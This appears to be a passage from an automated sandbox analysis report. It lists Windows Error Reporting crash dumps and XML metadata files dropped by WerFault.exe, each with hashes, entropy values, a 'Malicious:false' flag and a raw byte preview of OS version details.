                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERD0EA.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4593
                                                  Entropy (8bit):4.45463065074407
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYvYm8M4JmLF/+q8CSKTmd:uIjf0I7qy7VPJ+2KTmd
                                                  MD5:2FA102184CEAACB4282D8CE0D175B2A5
                                                  SHA1:6804D755BECDEB50945879316A7E4EE02AA9EF80
                                                  SHA-256:28A80812032234567D16384EB11EBC2D1881164C1B3D18856352BB1173D9F120
                                                  SHA-512:DDA63B32804B8A98C61AA2413363967AA28E3B0D4376ADE1DFA5F34E6EEECCDF424A04933394D28D2A5BCFB46B106CD9E9A3ED98130CE885D1534D5184EA5E13
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERD82C.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:12 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):51630
                                                  Entropy (8bit):2.1023014056683453
                                                  Encrypted:false
                                                  SSDEEP:192:eUbAWXWXuISKBgOzie1GWnYz6zajJjPQtw9ua0BC94hKqlpGNqCPAj8mz:LbnISM51v7zajJjfu53uNqC3+
                                                  MD5:0C44A63FAD88A48D0EE7A37EFB46B70A
                                                  SHA1:233AA5061B6FA9C13B836DDD1EB11DF1C9C52262
                                                  SHA-256:878B6D6E81A1419417CD860BA0EC0D5A48BB01DE69C5DC89E716CB8C300569B3
                                                  SHA-512:57888E90878A18AE7CEFB2A252F5B2DC14615BFB220AE21BE0381BA271D83D2865C46DC7022FD9C16D518B6ED4DEBEF3FF4713D991380FEE5BA9415D813F090B
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......4|]g........................4...........t....+..........T.......8...........T...........8...v.......................................................................................................eJ..............GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERD88A.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8298
                                                  Entropy (8bit):3.6945433567275923
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJp26a76YHx6ADpDgmfX2pBT89brBsff5m:R6lXJo6a76YR6ADpDgmfXlr6fs
                                                  MD5:4D91B372871A040597219D258EB82069
                                                  SHA1:BBE1015F0326027320AE215B8A25C0705029A2C8
                                                  SHA-256:F0E044A67800779E7A286053CAC316284DEFAEB4075CA1BD1E0DAA94CA333EE5
                                                  SHA-512:C1AAF6F37F0AA71BD2BBD29C8FDFF652822C2659FDADA35A49ACD7F7F6404D46A469EC5F5BB747725E0EC9CB49901A64478595D5184BEA83FEA732409AADCB81
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERD918.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.442417509799144
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYsYm8M4JSmZFS+q8U5H8wqNd:uIjf0I7qy7V8JET8wqNd
                                                  MD5:7CB916D38DC9CAEE6CE1BB8767401386
                                                  SHA1:E522BBC22DDC73C41123F4617CDEDDDC28C99075
                                                  SHA-256:A27DB443339AC017EED8E2E0B2FEBF0C2D6E8916B2391A3B992AB60C095273BD
                                                  SHA-512:2706C0581831CF40A0935FAF8FEA7D14605468E020F42D931DBD048A20F3F026289E399470FC06446654565CC8C809C0EAED0BF3A0D7BA9232357B5F4F0C5B50
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERDAFA.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:13 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):57626
                                                  Entropy (8bit):2.125160658577654
                                                  Encrypted:false
                                                  SSDEEP:384:ikKJSYmT5dIGkVewWjYRyh3uO4agwY+X7:FKAHT5J0O/h+OpY+X7
                                                  MD5:40DCC6C1A8A01836A46B97ED91691D8A
                                                  SHA1:D185695046E02133CA26484C8AF5853F5A294F5E
                                                  SHA-256:D24BD63BC5E6A7CF0089D51C346F856E9C38F85549A53E39E49C8C164ADB6CCA
                                                  SHA-512:27BE40932E667126BD225CD3375D9D7D7AB2ACCF0174F18387331992716B7EC4F69892D15F31705332F739500CD47671F8A9318C7FA280781CD63F834257944A
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......5|]g........................................./..........T.......8...........T...........(...........................................................................................................eJ...... .......GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD3D.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8300
                                                  Entropy (8bit):3.694744740925848
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJp36ZB6YHDd96ADpDgmfX2pBB89biBsfco2m:R6lXJJ6f6Yjv6ADpDgmfXfi6fcA
                                                  MD5:5F0C4B87C561328C594EB78FDEABFF98
                                                  SHA1:0B75748E61E2922AAC54556293819FD2DF110448
                                                  SHA-256:716C25635A7F127280A494EBB208B947E28CEF977BCC0BEBB81E76F10E3EB26E
                                                  SHA-512:6F1749476792DCB2784E2686334178C3B2A13C1BD523E5681639E476A6B5ABBBACE1D593F7E40D401D57F889FCFE45AF1BC741E60D17D3DC2F7EE42C69A5D380
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD6D.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.442987583955483
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYqYm8M4JSmZF0OI+q8U5H8wqNd:uIjf0I7qy7VuJqjT8wqNd
                                                  MD5:B8370C3438388D71D444E760822EAD7C
                                                  SHA1:759FF2167F12531F7F9EEBD3AC0DD7E8C094A58E
                                                  SHA-256:7F0EF879B5CE55606E708C8E58CBD65321C172F7F522A2E7026AE80D1EA86492
                                                  SHA-512:9B0D642FF758DE4E7C84BB9DC819A3618A566BD8EADBC5AB427649A4002C83D71B594FC4F4E99A18D1217B399D8B3F4F55D8E3AD9C2FE4598627F258012FE465
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERE318.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:14 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):62696
                                                  Entropy (8bit):2.0039408428399796
                                                  Encrypted:false
                                                  SSDEEP:384:Z1tQuIK5gEbMWuzSjQdGkt/jt3um0eLAf:HSTK5gT7zuQIyr8mJ
                                                  MD5:F0B1471BFF2527BF835D65116B029B88
                                                  SHA1:1A94C7BE1EF1ECD2F5FDAD0FFD23D2FC2EA61ABE
                                                  SHA-256:51ECC3152F8D015BA07BD5B9990801C9ADC2500AA4192952DA815756057006CC
                                                  SHA-512:D3D7F7C08C1B61115E53F9594E70228D4E3A6AC16A58B5B2B383666B18995BA0A6062A0F3E22312A5CA376C57022BB39C7D27AEAECEA4D9941925739C2C8ABE2
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......6|]g............$...........P...,...........$4..........T.......8...........T...............@...........|...........h...............................................................................eJ..............GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERE377.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8300
                                                  Entropy (8bit):3.6962197196445783
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJpz6C6YHE6ADpDgmfX2pBRC89bdBsfDRfm:R6lXJN6C6Yk6ADpDgmfX27d6fw
                                                  MD5:4AD0D809EBC7368E741A494EFEC9BF82
                                                  SHA1:07E4446EB64B42DB87E5BE31F2FDA83878DC21BB
                                                  SHA-256:D00E853EDD6DDFBB2B23730454FB0E1FC14C737BA5EB21662E48C2872757A18C
                                                  SHA-512:FE9BCAEA240B1067DDB62A8D839408FDF80AD0EF41F5EF7100FE5E79755A6B119F9D18D7A21A2F0512F1235D2F2DE070480D8BBF5EEA21F2280C3D3E11CD56E8
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERE397.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.444382667858139
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VY5Ym8M4JSmZFe+B+q8U5H8wqNd:uIjf0I7qy7VxJvT8wqNd
                                                  MD5:C49B5EDC85499EC74604A0047C57CDCB
                                                  SHA1:C57E7A238033C849FA2508B42D34173001B2184F
                                                  SHA-256:A3E71B2833744C1F33964D503A97D621F503181C796CF6CCA72503D9102B723F
                                                  SHA-512:CFD2D1AFB997AD25DD5546D2783F5F3F5B589C239BBAE9E03B942BDF8E7CAED3028B501D8EE39F649FF26ED5C92D15D2148342DB4A9B5D1D9503B18A3B6750C4
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERE5D8.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:16 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):68388
                                                  Entropy (8bit):1.9456978580174902
                                                  Encrypted:false
                                                  SSDEEP:384:LOSevQ+H5gJcQ59+IGku/jAcuh6u7rlX:6S0Q+H5gX59+zZrQhr
                                                  MD5:840C7746121F7C6695689F719529262E
                                                  SHA1:E0B6E57D0E97C86348BC1E9D9F78D17E514C5DA6
                                                  SHA-256:7AE5A8D3200896CBA13332A2236AC9E6ACA3A8D24505E5037B151F36DAC1C071
                                                  SHA-512:7EA8EF7A559A048A1F85DDF5BA1B694F65D2480946C869DF5A61F04AAB08343026C93B4590E75E59E7C3A809E168B5145EE09F3921F5132471D2D22DCFB9B646
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......8|]g............T...........P...\........... 7..........T.......8...........T........... ...........................................................................................................eJ......0.......GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERE888.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8300
                                                  Entropy (8bit):3.6950982843631506
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJpH6i6YH+6ADpDgmfXaAjAJpBt89bPBsf2Fm:R6lXJJ6i6Ye6ADpDgmfXaAjAMP6fl
                                                  MD5:F0612942DABF2BE3B4D87710209F222E
                                                  SHA1:1EA8C842CDEE33F41021A953161D9E9516356CF2
                                                  SHA-256:89938CC23FA62B4DD13BDB5B0BF5DFB657B7848BA28AF0DD674D0E21438CB599
                                                  SHA-512:E1E200C36AE789AF16C2963B0E54510E9BFCA756AAF753DF3C0A98B165B669E51F0309F56F00CE1801C563E262B0F91BFC92F335C46CE56329CEFD32384440C1
                                                  Malicious:false
                                                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.7.8.0.<./.P.i.

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WERE8A8.tmp.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):4579
                                                  Entropy (8bit):4.442089118620876
                                                  Encrypted:false
                                                  SSDEEP:48:cvIwWl8zs+Jg77aI9oDWpW8VYnYm8M4JSmZFesHo+q8U5H8wqNd:uIjf0I7qy7VXJbHoT8wqNd
                                                  MD5:04043DE97739B7CEF7B92FD5CEF6F08C
                                                  SHA1:8BB46B9CE29838CA113F86873258BE0B7C91898E
                                                  SHA-256:F8DF33B77B610B969C5F5CF4762A736D44548BDB4EA5DF3D7784F188CA9480C7
                                                  SHA-512:AB52EF69BC12A1A77005D5EA6219205BFF2E87473B73643A8778E24ACA20D558F732AFCEE3EC4F2873C1700BBD86728E8C68E6BE376811A92F8739BF86B36D96
                                                  Malicious:false
                                                  Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="630940" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREA7B.tmp.dmp

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:Mini DuMP crash report, 14 streams, Sat Dec 14 12:38:16 2024, 0x1205a4 type
                                                  Category:dropped
                                                  Size (bytes):62794
                                                  Entropy (8bit):2.0082755523285996
                                                  Encrypted:false
                                                  SSDEEP:192:Sc0BeXM7X8uI06dkOziegRjnY7kkQQqDDIW0vjAb3wiKEnlpGf6yXhm42Am11:pqQuIH5gRjGkkQQqDc/jA5uf6yIAmD
                                                  MD5:A940673B84EE12310FF7BE1C4869B43A
                                                  SHA1:1484F651FD47A04E7BBC36FF4023BD8D90A43D9F
                                                  SHA-256:D2A16756602945F2AA2E635746A05050AAB6ACD5B315658BA4E366624AC00BF4
                                                  SHA-512:3F5DA8FF6F02F74725F69E47FF7FA86687D5FC619D7B43DD1E9396807123685E7E979E0693DE46A59FB8589B36E2B557FCB432F5C8F23C82085378208DAEFADD
                                                  Malicious:false
                                                  Preview:MDMP..a..... .......8|]g............$...........P...,...........$4..........T.......8...........T...............z...........|...........h...............................................................................eJ..............GenuineIntel............T.......d...1|]g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                  C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB66.tmp.WERInternalMetadata.xml

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WerFault.exe
                                                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):8298
                                                  Entropy (8bit):3.695371119568352
                                                  Encrypted:false
                                                  SSDEEP:192:R6l7wVeJp96/C6YH26ADpDgmfX2pBe89bPBsfqFm:R6lXJD6q6YW6ADpDgmfXeP6fh
                                                  MD5:A7E4F10993682BF7555D0D670D2C8D8B
                                                  SHA1:CBCA3E964E972FA003110630D9E34E3C4E0B7415
                                                  SHA-256:9642D5B89B2ED0A120B1BCB254CFFB101D523D3E6EE908A27D875531F1FBEF23
                                                  SHA-512:F82812F410031CD001C8364B2158A0345C7A0F5EE3B1EE84B0B9D1F1CD961049572F9CB036F66E7C8D0A4A74415E5AF3F33FBCF4A21C37678AB5A5F7A9B52FF2
                                                  Malicious:false
